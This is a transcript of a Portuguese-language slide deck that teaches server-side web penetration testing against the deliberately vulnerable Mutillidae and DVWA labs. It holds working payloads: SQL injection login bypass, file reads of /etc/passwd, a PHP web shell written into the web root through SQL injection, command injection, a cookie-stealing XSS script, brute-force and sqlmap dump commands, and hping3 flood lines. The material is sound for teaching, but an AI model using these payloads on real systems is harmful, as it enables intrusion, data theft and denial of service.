teste de segurança do lado servidor - nível 1

85
[email protected] Kleitor Franklint Pentest App Servidor Nivel 1

Upload: kleitor-franklint-correa-de-araujo

Post on 15-Apr-2017

70 views

Category:

Technology


2 download

TRANSCRIPT

Page 1: Teste de segurança do lado servidor - Nível 1

[email protected]

Kleitor Franklint

Pentest App Servidor Nivel 1

Page 2: Teste de segurança do lado servidor - Nível 1

Teste de segurança: Técnicas de Verificação

Falsos Positivos, Falsos Negativos, Camadas indetectáveis.

Aplicaçã

o

RISCOS

Page 3: Teste de segurança do lado servidor - Nível 1

Testes de segurança: Análise de resultado

Aplicaçã

o

RISCOS

CRITICIDADE, IMPACTO, PROBABILIDADE

IMPLICAÇÕES

RECOMENDAÇÕES

Page 4: Teste de segurança do lado servidor - Nível 1

-Modelagem de ameaças

-Interações pré- noivado ( escopo, objetivo, reuniões)

-Coleta de informação ( analisadores, eng. Social, etc)

-Análise de Vulnerabilidade

-Exploitation ( explorar para tirar vantagem)

-Pós Exploitation ( mais analise e decisão )

-Relatórios

Fases de um Pentest

Page 5: Teste de segurança do lado servidor - Nível 1

Coleta de informações

NMAP é o rei Fonte: https://nmap.org/book/nse.html

-Que informações queremos?

-Que portas estão abertas?

-Que informações podemos aproveitar e pra quê? Usando o help: nmap --help Use o grep: nmap | grep -i script

Page 6: Teste de segurança do lado servidor - Nível 1

nmap -A <target>

nmap -T5 <target>

nmap -F -sV <target>

De olho na latência!!!

NMAP: alguns exemplos do uso

Interface gráfica: zenmap

Page 7: Teste de segurança do lado servidor - Nível 1

locate *.nse - localizando scripts locate *vuln*.nse nmap --script mysql-vuln-cve2012-2122.nse <target> nmap -sV --script=banner <target>

Escreva seus próprios scripts https://nmap.org/book/nse-tutorial.html

NMAP: Usando scripts ( O foco )

Page 8: Teste de segurança do lado servidor - Nível 1

Coleta de informações – Web Servers

Nikto-webserver scanner http://www.tecmint.com/nikto-a-web-application-vulnerability-and-cgi-scanner-for-

web-servers/

Page 9: Teste de segurança do lado servidor - Nível 1

Coleta de informações

Exemplo

Nikto -h <target> -o report-nikto.txt Usando o help Definindo portas:

-p 80,443 - especificas -p 80-443 – range Testar no webscantest.com -Atenção ao bloqueio do primeiro ataque -Bancos de vulnerabilidades: www.osvdb.org

Page 10: Teste de segurança do lado servidor - Nível 1

Scan de vulnerabilidades

Sintaxe geral: skipfish <parametros> -o /<dir> <target>

skipfish -r 1000 -o /result-skipfish <target> Obs: apagar diretório antes do próximo scan.

Dicionários:

skipfish -r 1000 -o /result-skipfish3 -S /usr/share/skipfish/dictionaries/complete.wl <target>

Um pouco mais sobre dicionários https://github.com/spinkham/skipfish/blob/master/doc/dictionaries.txt

https://github.com/spinkham/skipfish

Page 11: Teste de segurança do lado servidor - Nível 1

O lado cliente da força

Page 12: Teste de segurança do lado servidor - Nível 1

HackBar :: Complementos para o Firefox - Add-ons

Page 13: Teste de segurança do lado servidor - Nível 1

Apresentando o OWASP Mutillidae II

/documentation/mutillidae-test-scripts.txt

Page 14: Teste de segurança do lado servidor - Nível 1

A1- FALHAS DE INJEÇÃO

Ataques via browser ou prompt:

SQL Injection: comandos SQL

XSS Injection: Javascript e HTML

Outros: command Injection, LDAP, XML, etc.

Page 15: Teste de segurança do lado servidor - Nível 1

Injeta-se uma query SQL na aplicação usando um navegador web comum.

IMPACTO Criar, ler, atualizar ou excluir qualquer dado disponível para a aplicação através de SQL; Ganhar acesso a recursos restritos de S.O e rede; Conectar-se a sistemas como se fosse um usuário autorizado, driblando a necessidade de uma senha.

SQL Injection Cenários: CAMPOS EDITÁVEIS OU NÃO, UPLOAD MALIOSOS,

CSS maliciosos, etc.

Page 16: Teste de segurança do lado servidor - Nível 1

Comportamento: Estímulo / resposta

Error based: erro como resposta Time based: Blind Injection, tempo como resposta

A técnica básica: -Mudar o comportamento do comando através concatenadores e comentários

-Primeiro, testar qual símbolo pode quebrar a string: aspas, apóstrofos, parênteses

SQL Injection

Page 17: Teste de segurança do lado servidor - Nível 1

Práticas -Bypass de autenticação -Bypass de operações -SQlI com XSS -Leitura de arquivos -Shells maliciosos

SQL Injection – Error based

Page 18: Teste de segurança do lado servidor - Nível 1

Bypass de autenticação http://localhost/mutillidae/index.php?page=login.php

User: joao' or 1=1# -Qual o comportamento? -Que informações trouxe? -De que usuário e perfil são as informações? -Onde as vejo? -Como as vejo? Exercício 1: testar no campo senha Exercício 2: logar com usuário Jeremy

SQL Injection – Error based

Page 19: Teste de segurança do lado servidor - Nível 1

Bypass de operações - inserção http://localhost/mutillidae/index.php?page=add-to-your-blog.php&popUpNotificationCode=SUD1

-Qual o comportamento da funcionalidade?

-Qual payload quebra a app?

-Que operação ela realiza?

-Quantos campos ela tem, de que tipo, em que ordem?

-Onde se vê o resultado? payload Hacked','2022-06-01 12:00:01')#

SQL Injection – Error based

Page 20: Teste de segurança do lado servidor - Nível 1

SQLí e XSS

SQL Injection – Error based

http://localhost/mutillidae/index.php?page=user-info.php Brincando com union ' union select 1,2,3,4,5,6,7# Descobrindo o numero de colunas Em que coluna encaixar o ataque?

SQLI- XSS – funções mysql de string A vantagem sobre os escapes contra XSS Payload ' union select 1,2,CHAR(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62),4,5,6,7#

Page 21: Teste de segurança do lado servidor - Nível 1

SQlI – lendo arquivos do host http://localhost/mutillidae/index.php?page=user-info.php -Que funcionalidades buscar pra fazer este ataque? -Que arquivos são interessantes? -Que funções usar do SGBD para o ataque? Payload ' UNION ALL SELECT 1,2,LOAD_FILE('/etc/passwd'),4,5,6,7 #

SQL Injection – Error based

Page 22: Teste de segurança do lado servidor - Nível 1

SQli – Upload malicioso e command injection <HTML> <HEAD> <TITLE>Simple PHP Shell</TITLE> </HEAD> <BODY> <form method=post> <input type="text" name="comando"/> <input name="submit" type=submit value=”executar"> </FORM> <?php echo "<pre>"; echo shell_exec($_REQUEST["comando"]); echo "</pre>"; ?> </BODY> </HTML>

SQL Injection – Error based

Page 23: Teste de segurança do lado servidor - Nível 1

SQlí – Upload malicioso e command injection ' union select null,null,null,null,null,null,'<HTML> <HEAD> <TITLE>Simple PHP Shell</TITLE> </HEAD> <BODY> <form method=post> <input type="text" name="comando"/> <input name="submit" type=submit value=”executar"> </FORM> <?php echo "<pre>"; echo shell_exec($_REQUEST["comando"]); echo "</pre>"; ?> </BODY> </HTML>' into dumpfile '/opt/lampp/htdocs/mutillidae/shell.php'# Executar o shell.php -Por que a vulnerabilidade funcionou? -O que aprendemos aqui? -Quais OWASP TOP TEN

SQL Injection – Error based

Page 24: Teste de segurança do lado servidor - Nível 1

-Estratégias para descobrir numero de colunas com time based

-Quando o erro não aparece no browser nem no proxy http://localhost/mutillidae/index.php?page=user-info.php ' union select 1,2,3,4,5,6,sleep(5)# Exercício no login - Realizar um ataque DOS usando sleep()

SQLi- Blind Injection – Time based

Page 25: Teste de segurança do lado servidor - Nível 1

SQL-Map http://sqlmap.org/

Page 26: Teste de segurança do lado servidor - Nível 1

-Quando usar o sqlmap?

-Por que demora tanto a encontrar?

-Por que por vezes não encontra nada?

-Em que momento do ciclo do pentest usa-lo?

-Qual a estratégia de investigação? O que eu quero descobrir

-Que dificuldades existem na formação da string de ataque e como resolvê-los.

-Como passar parâmetros diversos? Sintaxe e manutenção

-Quando o numero de threads é importante?

SQL-Map http://sqlmap.org/

Page 27: Teste de segurança do lado servidor - Nível 1

Amplo, geral, lento e vago sqlmap -u <host> Mais objetivo sqlmap -u <host> dbms=MYSQL Ainda falta algo.. sqlmap -u <host> dbms=MYSQL <o que fazer quando achar>

SQL-Map

Page 28: Teste de segurança do lado servidor - Nível 1

O que fazer quando achar? --dbs -D banco-de-dados –table -T tabela --columns -T tabela --dump

Exemplos:

sqlmap -u <host> --dbs

sqlmap -u <host> -D <banco-de-dados> --table

sqlmap -u <host> -T tabela --dump

sqlmap -u <host> -T tabela --columns

Análise aprofundada

sqlmap -u <host> --level 5 --risk 4 --passwords -v 1 –time-sec=4

SQL-Map

Page 29: Teste de segurança do lado servidor - Nível 1

Custo de manutenção e êxito no ataque -Como capturar todos os dados necessários para privilégios pós-login?

-Como capturar cookies? Roubo de sessão

-Como resolver problemas de parâmetros concatenados com "+"

Usando um arquivo de autenticação e parâmetros. Quais parâmetros? Capturar a página user-info: admin&adminpass Quando capturar? O que capturar? sqlmap -r /opt/user-request.txt dbms=MYSQL --dbs

SQL-Map

Page 30: Teste de segurança do lado servidor - Nível 1

SQL-Map

Exemplo de uso

sqlmap -r /opt/user-request.txt dbms=MYSQL –dbs

sqlmap -r /opt/user-request.txt dbms=MYSQL -D nowasp --table

sqlmap -r /opt/user-request.txt dbms=MYSQL -T accounts --dump

Prametros para decodificação de senhas

Page 31: Teste de segurança do lado servidor - Nível 1

Técnicas de prâmetros https://github.com/sqlmapproject/sqlmap/wiki/Techniques

Bypass de wafs https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423

SQL-Map http://sqlmap.org/

Page 32: Teste de segurança do lado servidor - Nível 1

Scan de vulnerabilidades

Ataques -Inicio Rápido: active scan

-Configurando o proxy

-Ofuscação

-Relatórios

-O escopo de teste: domínio, spider

-Varredura ativa e alertas: cores e grupos

-Falso positos e negativos

-Scanner através de proxy: vantagens

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

Page 33: Teste de segurança do lado servidor - Nível 1

Add on

Proxy selector

Proxy Selector :: Complementos para o Firefox - Add-ons - Mozilla

Page 34: Teste de segurança do lado servidor - Nível 1

A1- Commando Injection

DVWA

127.0.0.1 && ls /opt

127.0.0.1 && net start telnet

Page 35: Teste de segurança do lado servidor - Nível 1

A2- QUEBRA DE AUTENTICAÇÃO E GERENCIAMENTO DE SESSÃO

Cenários: vazamentos ou falhas em funções de autenticação ou gerenciamento de sessão para assumir a identidade de outro usuário. Alvos: contas expostas, senhas fracas, ID de sessão capturáveis ou de baixa randomização,

IMPACTO

Page 36: Teste de segurança do lado servidor - Nível 1

A2- Quebra de sessão e gerenciamento de sessão

Tudo o que possa roubar a sessão: A1...A10

Page 37: Teste de segurança do lado servidor - Nível 1

A2- Quebra de sessão e gerenciamento de sessão

Bypass de autenticação por cookies: validade, etc.

Cookies manager, firebug

Page 38: Teste de segurança do lado servidor - Nível 1

A3-CROSS-SITE SCRIPTING (XSS)

Executar scripts cliente (Javascript, Flash Script, HTML, etc) de forma direta ( no meu browser) ou remota ( no browser da vítima).

•Roubar sessões de usuário;

•Pichar sites Web;

•Introduzir worms, zumbis, etc;

•Negação de serviço.

IMPACTO

Page 39: Teste de segurança do lado servidor - Nível 1

A3- XSS Tipos: Armazenado, Refletido

Bypass

-Se a sanitização estiver na pagina cliente, repassar via proxy

-Se a sanitização for para texto plano, repassar ofuscado

Page 40: Teste de segurança do lado servidor - Nível 1

A3- XSS

Onde? -No browser como favorito -No cookies: campo “content”

Payloads: javascript:alert(document.cookie) javascript:(document.cookie)

Javascript ou <script>?

Resultado: http://localhost/mutillidae/index.php?page=capture-data.php

Page 41: Teste de segurança do lado servidor - Nível 1

A3- XSS

Use um proxy e ofusque. Por que?

Pagina de login, codificar como URL. O problema do “+”

Depurar e Codificar com o owasp-zap para url e substituir no login.

<script>document.location="http://localhost/mutillidae/index.php?page=captured-data.php&c="+document.cookie</script>

Resultado: http://localhost/mutillidae/index.php?page=capture-data.php

Page 42: Teste de segurança do lado servidor - Nível 1

A3- XSS persistente -stored

Onde?

http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Exemplos:

-<a href="#" onclick="alert(document.cookie);">veja aqui sua resposta</a>

-Injetando a pagina de login do mutillidae com firebug

Page 43: Teste de segurança do lado servidor - Nível 1

A3- XSS

http://beefproject.com/

-HACKING; -Exploit; -Coleta de informações

INICIALIZANDO O BEEF Usar o menu já dispara o servidor e exploit panel: beef, beef

Page 44: Teste de segurança do lado servidor - Nível 1

A3- XSS – BEEF

Usando o beef to exploit http://127.0.0.1:3000/ui/authentication http://localhost:3000/hook.js Onde? http://localhost/mutillidae/index.php?page=dns-lookup.php

Page 45: Teste de segurança do lado servidor - Nível 1

A3- XSS – BEEF

Beef – Hook e comandos

-Que informações obtenho? -Coleta de informações. -As cores

Enviando um :

-alert -fake flash update -Fake notification bar -Pretty Theft

Page 46: Teste de segurança do lado servidor - Nível 1

Session hijacking descreve todos os métodos de um atacante poder acessar a session de um outro usuário.

A2- Quebra de sessão e gerenciamento de sessão

Page 47: Teste de segurança do lado servidor - Nível 1

Scanner com Owasp-zap Fuzzer: Sqli, XSS, etc

-Escolha de payload e parametrizações eficazes

-Diretorio de scripts

-Outros recursos: chamar terceiros internamente: sqlmap, etc

Exercícios

Page 48: Teste de segurança do lado servidor - Nível 1

Atacando a autenticação – força bruta Etapas: -Observar comportamento para formação de senha -Gerar lista de senhas -Preparar a estratégia passiva ou ativa de ataque -Realizar ataque força bruta Saber mais: prevent brute-force attack Information Security The Complete Reference, 2nd Edition

A2- Quebra de sessão e gerenciamento de sessão

Page 49: Teste de segurança do lado servidor - Nível 1

Gerando listas -Cuidado com listas geradas do lado cliente: como box, listboxes,

Default Password List, etc.

-Como construir listas rapidamente?

-O que posso obter?

-O que mais posso obter com a criação de listas

-Quantas listas preciso para atacar?

-A importancia da engenharia social na formação de senhas

Atacando a autenticação

Page 50: Teste de segurança do lado servidor - Nível 1

Atacando a autenticação

Gerar listas para o ataque -Use geradores de CPF

Na internet: https://packetstormsecurity.com/Crackers/wordlists/

http://www.openwall.com/wordlists/

No kali ls /usr/share/wordlists/

Page 51: Teste de segurança do lado servidor - Nível 1

Geradores de lista para ataque de autenticação

Atacando a autenticação

crunch

cewl

Page 52: Teste de segurança do lado servidor - Nível 1

Gerar listas para o ataque cewl -d 2 -m 5 -w docswords.txt <host> cewl -v -d 3 -m 3 -w docswords.txt --meta --meta_file=meta.txt --email --email_file=emails.txt http://localhost/muttilidae

https://digi.ninja/projects/cewl.php

Page 53: Teste de segurança do lado servidor - Nível 1

Sintaxe: crunch <min> max<max> <characterset> -t <pattern> -o <output filename> man crunch Ver: http://www.backtrack-linux.org/forums/showthread.php?t=39232 Exemplos:

crunch 4 6 1234567890 -o wordlist4-6.txt

crunch 9 9 -t admin@@@@ -o pass-list.txt

Gerar listas para o ataque

Page 54: Teste de segurança do lado servidor - Nível 1

HYDRA

hydra -l admin -P passlist.txt 127.0.0.1 http-post-form

"/mutillidae/index.php?page=login.php:username=^USER^&passwo

rd=^PASS^&login-php-submit-button=Login:Not Logged In"

Page 55: Teste de segurança do lado servidor - Nível 1

A2- Quebra de sessão e gerenciamento de sessão

Para senhas de S.O john para decodificar senhas http://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/

Page 56: Teste de segurança do lado servidor - Nível 1

A2- Quebra de sessão e gerenciamento de sessão

Ataque de força bruta – reflexões -Ataque simples é o que passa a autenticação em texto plano ao invés de cookies

-performance é importante?

-Use um ataque por proxy burpsuite com for interno

Page 57: Teste de segurança do lado servidor - Nível 1

A4- Referência insegura a objetos A5- Erro de configuração de segurança

Page 58: Teste de segurança do lado servidor - Nível 1

A4 e A5

File injection: Upload irrestrito, LFI, RFI Ver: /etc/passwd Exercício: -Tentar escalada de privilégios: executar um php que não pode pela via direta - LFI -Listar membros da intranet - RFI

http://localhost/mutillidae/index.php?page=text-file-viewer.php

Page 59: Teste de segurança do lado servidor - Nível 1

A4-REFERÊNCIA INSEGURA DIRETA A OBJETOS

Alterar parâmetros aplicação web via URL do browser, campo da aplicação ou prompt. O usuário pode ser autorizado ou não.

Quebra de limites e restrições a arquivos, diretórios, banco de dados, etc. Exemplos:

• Votar ou marcar consultas quantas vezes quiser;

• Acessar conta de um usuário alterando um ID;

• Ter acesso a funcionalidades de maior privilégio.

IMPACTO

http://example.com/app/accountInfo?IdConta=1

Page 60: Teste de segurança do lado servidor - Nível 1

A5- CONFIGURAÇÃO INCORRETA DE SEGURANÇA Refere-se à configurações de segurança incorretas ou não implementadas, isso

inclui manter atualizados software e suas partes. Utiliza-se demais técnicas de

ataque.

Cenários:

• Contas padrão;

• Páginas não utilizadas;

• Falhas não corrigidas;

• Arquivos e diretórios desprotegidos;

• Padrões de nomes fracos,

• Padrões de senha fracos, etc.

• Relações internas e externas.

• Captchas de baixa randomização e complexidade.

IMPACTO

Page 61: Teste de segurança do lado servidor - Nível 1

A4 e A5

File injection -upload irrestrito -Scripts maliciosos -Imagens maliciosas -Mudando header para atacar Exemplo e exercício https://r57.gen.tr/

C99.php

Page 62: Teste de segurança do lado servidor - Nível 1

Reports

Agile Top Ten

Sessões exploratórias e reports

Page 63: Teste de segurança do lado servidor - Nível 1

A6- EXPOSIÇÃO DE DADOS SENSÍVEIS

Ausência ou inadequação da proteção aplicações web a dados sensíveis: Trânsito, armazenamento e exposição ( banco de dados, scripts clientes e servidores). Ex. dados sensíveis: cartões de crédito, IDs fiscais e credenciais de autenticação.

IMPACTO • Fraudes no cartão de crédito;

• Roubo de identidade.

• Ganho de privilégios

Page 64: Teste de segurança do lado servidor - Nível 1

Criptografar: armazenamento (memoria e disco), transito Para: -Garantir a identidade de uma ou ambas as partes -Evitar a violação de dados -Evitar ataques de replay SSL+TSL =SSL/TSL-→ HTPS-→ 403

A6- Exposição de dados sensíveis

Page 65: Teste de segurança do lado servidor - Nível 1

Entendendo o básico SSL/TSL http://blog.siteblindado.com/2014/02/07/tls-ssl-diferencas-protocolos/ Cifras http://ptcomputador.com/Networking/network-security/75984.html#.V3UOnYaZeit Livro Penetration testing A Hands-On Introduction to Hacking

A6- Exposição de dados sensíveis

Page 66: Teste de segurança do lado servidor - Nível 1

O que testar?

-Criptografia: A implementação usa um conjunto de padrão e cifra de segurança forte?

-Identidade: A execução verifica a identidade do servidor corretamente e completamente?

-Violação de dados: a implementação protege totalmente os dados do usuário para a duração da sessão do usuário?

-Ataques de replay: A implementação contém um método para impedir? Man-In-The-Middle (MitM)

A6- Exposição de dados sensíveis

Page 67: Teste de segurança do lado servidor - Nível 1

O que testar? Plano de teste

https://www.owasp.org/index.php/Testing_for_SSL-TLS_(OWASP-CM-001)

https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet

https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insuffi

cient_Transport_Layer_Protection_(OTG-CRYPST-001)

A6- Exposição de dados sensíveis

Page 68: Teste de segurança do lado servidor - Nível 1

Determinar versão e existência: nmap -sV expresso.am.gov.br Identificar cifras fracas e protocolos: analisadores: Nessus, analisadores on line sslscan --no-failed expresso.am.gov.br openssl s_client -no_tls1 -no_ssl3 -connect www.google.com:443 https://www.openssl.org/docs/manmaster/apps/s_client.html

tlssled expresso.am.gov.br 443 http://www.pentesterscripting.com/discovery/ssl_tests

O que testar? Plano de teste

Page 69: Teste de segurança do lado servidor - Nível 1

Analise de SSl/TSL - reports Análise geral e força da cifra https://www.ssllabs.com/ssltest/ Analisa SSLv3 and TLSv1 Protocol Weak CBC https://pentest-tools.com/network-vulnerability-scanning/ssl-poodle-scanner OpenSSL DROWN vulnerability scanner https://pentest-tools.com/network-vulnerability-scanning/drown-ssl-scanner Check your SSL/TLS certificate installation https://cryptoreport.websecurity.symantec.com/checker/views/certCheck.jsp

Page 70: Teste de segurança do lado servidor - Nível 1

Suporte do browser

Lado cliente: alertas do browser, certificados e suporte Suporte a SSL3 - testa para ver se conecta no site Disabling Browser Support - SSL v3 Protocol https://blog.mozilla.org/security/2014/10/14/the-poodle-attack-and-the-end-of-ssl-3-0/

Testando suporte a ssl3 https://www.poodletest.com/

Habilitar ssl about:config

A6- Exposição de dados sensíveis

Page 71: Teste de segurança do lado servidor - Nível 1

SSLSTRIP - MItM

Não veremos aqui

SSSTRIPS ( sslstrip e Ettercap) http://www.100security.com.br/capturando-senhas-com-sslstrip-e-bloquear-o-ataque-com-arpon/ http://www.nanoshots.com.br/2015/09/capturando-senhas-com-social.html

Page 72: Teste de segurança do lado servidor - Nível 1

A7- FALTA DE FUNÇÃO PARA CONTROLE DO NÍVEL DE ACESSO O atacante é um usuário autorizado no sistema, que simplesmente muda a URL ou um parâmetro de função privilegiada com o propósito de acessar a funcionalidade sem autorização adequada.

Necessário validar no servidor cada função invocada.

IMPACTO

Page 73: Teste de segurança do lado servidor - Nível 1

Tipos: vertical, horizontal Escalada horizontal Estado de login / logout. http://localhost/mutillidae/index.php?popUpNotificationCode=AU1 http://localhost/mutillidae/index.php?page=login.php&popUpNotificationCode=LOU1 Escalada Vertical

-Mudar valor cookie ou requisição para obter privilégios: Owasp-zap, firebug, tags

-Acessar o site por troca de url ( linha de comando do browser, proxy)

-Acessa funcionalidade pro troca do nome de funcionalidade, padrões e parâmetros

-Ganhar privilegio pós-login por alteração e arquivos clientes de configuração de privilégios

A7- falta controle de acesso de nível de função

Page 74: Teste de segurança do lado servidor - Nível 1

Analise de vulnerabilidade

Para executar: W3af Configurar: ataque e relatório; Criar próprio script Para mais: https://media.readthedocs.org/pdf/w3af/latest/w3af.pdf

Page 75: Teste de segurança do lado servidor - Nível 1

A8- REQUISIÇÃO REMOTA FORJADA (CSRF)

CENÁRIOS

• Requisições não validadas em aplicações; • Links em e-mails; • Mensagens em forums, etc; • Clones de sites.

Forjar requisições HTTP falsas através de XSS ou engenharia social, além de inúmeras outras técnicas. Se o usuário estiver autenticado, o ataque é bem sucedido.

IMPACTO

Page 76: Teste de segurança do lado servidor - Nível 1

A8-Requisição remota forjada (CSRF) Testar no owasp –zap: add your blog http://tipstrickshack.blogspot.com.br/2012/10/how-to-exploit-csfr-vulnerabilitycsrf.html https://pt.wikipedia.org/wiki/Cross-site_request_forgery https://www.youtube.com/watch?v=GoNKI6dlD80 Black Hat 2013 - Dissecting CSRF Attacks and Countermeasures

Page 77: Teste de segurança do lado servidor - Nível 1

A9- UTILIZAÇÃO DE COMPONENTES VULNERÁVEIS CONHECIDOS

O atacante identifica um componente vulnerável através de varredura ou análise manual e ataca a aplicação através dele. Malwares também assumem esse comportamento.

IMPACTO

Page 78: Teste de segurança do lado servidor - Nível 1

A9-Uso de componentes com vulnerabilidades conhecidas

Wpscan – usando como um profissional wpscan -u <host> wpscan -u <host> --enumerate t, u,p, vt,vp wpscan -u <host> -e u,p -f wpscan -u <host> --enumerate u -t 4 wpscan -u <host> -e u -t 4

Page 79: Teste de segurança do lado servidor - Nível 1

Aplicações Web frequentemente redirecionam e encaminham os usuários para outras páginas e sites e usam dados não confiáveis para determinar as páginas de destino.

A10- REDIRECIONAMENTOS E ENCAMINHAMENTOS INVÁLIDOS.

Sem validação adequada, os atacantes podem redirecionar vítimas a sites de phishing ou malware, ou encaminhar para acessar páginas não autorizadas.

Page 80: Teste de segurança do lado servidor - Nível 1

Exercícios: http://192.168.1.66/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.owasp.org http://localhost/mutillidae/index.php?page=http://www.owasp.org Mais sobre ataques: https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet

A10- REDIRECIONAMENTOS E ENCAMINHAMENTOS INVÁLIDOS.

Page 81: Teste de segurança do lado servidor - Nível 1

Algumas coisas úteis: Owasp-zap – compare request-response Add on para pentest

Wappalyzer – por quê?

Page 82: Teste de segurança do lado servidor - Nível 1

DOS denial-of-service (DoS) ou distributed denial-of-service (DDoS) attack Um bom ataque:

-Pluralizar a fonte: multiplos zumbis -Sobrecarregar: múltiplas threads, múltiplos alvos -Tentar bypass da análise: -slow DOS -Ip de confiança _Por dentro da app -Radomização da anonimidade

Page 83: Teste de segurança do lado servidor - Nível 1

Tipos de ataque -Baseada em volume -Baseado no protocolo Recursos do servidor ao invés de largura de banda, indo para e partir do servidor equipamento periférico -Ataques de camada de aplicativo Alvo é a camada de aplicação Slow Dos at all : Slowloris

Page 84: Teste de segurança do lado servidor - Nível 1

Para saber mais

-https://www.blackmoreops.com/2015/04/21/denial-of-service-attack-dos-using-hping3-with-spoofed-ip-in-kali-linux/

-https://www.verisign.com/pt_BR/security-services/ddos-protection/types-of-ddos-attacks/index.xhtml

-https://www.rivalhost.com/12-types-of-ddos-attacks-used-by-hackers/

-https://www.incapsula.com/ddos/ddos-attacks/

-http://null-byte.wonderhowto.com/how-to/hack-like-pro-denial-service-dos-tools-techniques-0165699/

-https://nmap.org/nsedoc/scripts/http-slowloris-check.html

Page 85: Teste de segurança do lado servidor - Nível 1

Como saber se funcionou? latência demasiada, queda do serviço

Hping3 hping3 -S --flood -V 127.0.0.1 hping3 --flood -V --rand-source localhost